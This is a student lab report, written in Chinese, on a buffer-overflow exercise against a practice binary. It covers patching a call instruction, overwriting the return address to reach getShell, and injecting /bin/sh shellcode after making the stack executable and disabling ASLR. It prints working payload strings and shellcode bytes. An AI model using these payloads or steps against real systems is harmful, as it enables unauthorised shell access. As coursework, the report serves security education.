1.实验内容
通过修改可执行文件，改变程序执行流程，跳转到getShell函数。 利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。 注入一个自己制作的shellcode并运行这段shellcode。 2.实验过程
（一）直接修改程序机器指令，改变程序执行流程
登陆root，修改主机名为自己的学号。
将可执行文件pwn1传输到虚拟机中并运行该文件。
输入objdump -d pwn1 | more找到getshell、foo、main函数
此时可以看到main函数调用foo，对应机器指令为“ e8 d7ffffff“，我们需要修改可执行文件，将其中的call指令的目标地址由d7变为c3，使main函数调用getshell。
输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。 输入%!xxd切换显示模式为16进制。 输入/e8 d7找到要修改的内容，将d7改为c3。
输入objdump -d pwn2| more查看修改结果并进行测试
如图可知修改成功并且getshell成功运行。
（二）通过构造输入参数，造成BOF攻击，改变程序执行流
对pwn1进行反编译
可以通过-0x1c看到存在28字节的缓冲区，call调用foo,返回地址为80484ba，我们需要覆盖返回地址并替换为getshell的地址。
使用gdb pwn1调试程序，输入1111111122222222333333334444444455555555。 输入info r确认输入字符串哪几个字符会覆盖到返回地址。
可以看到1234 那四个数最终会覆盖到堆栈上的返回地址，因此只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
通过反编译可以看到getshell的返回地址为0804847d。 通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件。 输入xxd input查看input文件的内容是否如预期。 通过(cat input; cat) | ./pwn1将input的输入，通过管道符“|”，作为pwn1的输入。
（三）注入Shellcode并执行
execstack -s pwn1设置堆栈可执行 execstack -q pwn1查询文件的堆栈是否可执行 echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化 more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭
输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 输入(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入内容作为pwn1的输入 打开新终端，输入ps -ef | grep pwn1查看进程
可以知道pwn1的进程是110585。
启用gdb调试程序，输入disassemble foo反编译foo函数并进行分析。 输入break *0x080484ae设置断点。 在另一个终端输入命令c并在次终端按一下回车。 输入info r esp查看栈顶指针所在位置，当前ESP值为0xffffcfbc。
使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04，构造要注入的字符串：perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode 输入(cat input_shellcode; cat) | ./pwn1，执行ls命令
3.问题及解决方案
问题一：下载不了execstack 解决方案：
反正目的是查询栈堆，在实在无法下载的情况下，我选择直接查询
问题二：在进行启用gdb调试程序，输入disassemble foo反编译foo函数并进行分析时，总是找不到01020304最后发现是在两个终端输入回车和c的顺序出现错误。
4.学习感悟
本次的实验对我来说有一定的难度，虽然实验指导书较为详细，但是在环境配置方面有很多可能只有少数人存在的问题被我遇见，所以我广泛查询博客园和AI，最终成功完成实验。